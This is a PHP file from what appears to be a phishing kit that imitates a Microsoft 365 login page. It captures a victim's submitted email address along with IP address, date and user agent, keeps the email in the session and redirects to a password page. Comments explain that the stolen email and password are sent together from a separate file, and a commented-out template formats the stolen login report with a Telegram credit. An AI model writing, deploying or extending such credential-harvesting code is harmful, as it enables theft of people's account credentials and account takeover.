<?php
session_start();
error_reporting(0);
# Adding Settings
include('../config.php');
include('../session/function.php');
# User Agent 

$useragent = $_SERVER['HTTP_USER_AGENT'];
// Define commonly used environment details
$IP = $_SERVER['REMOTE_ADDR'];
$date = date('d/m/Y h:i:s a');
$os = $_SERVER['HTTP_USER_AGENT'];
##

// Store email in session for consolidated send later
$_SESSION['email'] = $_POST['email'] ?? '';

// Message construction moved to password.php to send email and password together
// $msgtg = "BY : https://t.me/Blinkz455\n\n\n❤️== COMPLETE Microsoft 365 LOGIN [".$IP."] ==❤️\n\n\n*👤Username * : ".$_POST["email"]."\n\n\n=========[ DEVICE INFO ]=========\n\nIP : \nhttp://www.geoiptool.com/?IP=".$IP."\n\nDate : ".date('H:i:s d/m/Y')."\n\nUSER AGENT : ".$_SERVER['HTTP_USER_AGENT']."\n\nOS / BR : ".getOS($_SERVER['HTTP_USER_AGENT'])."\n";

// No notification sent here - email and password will be sent together in password.php

# Send Mail

// Mail sending disabled - email and password will be sent together in password.php

header('Location: ./password1.php');
?>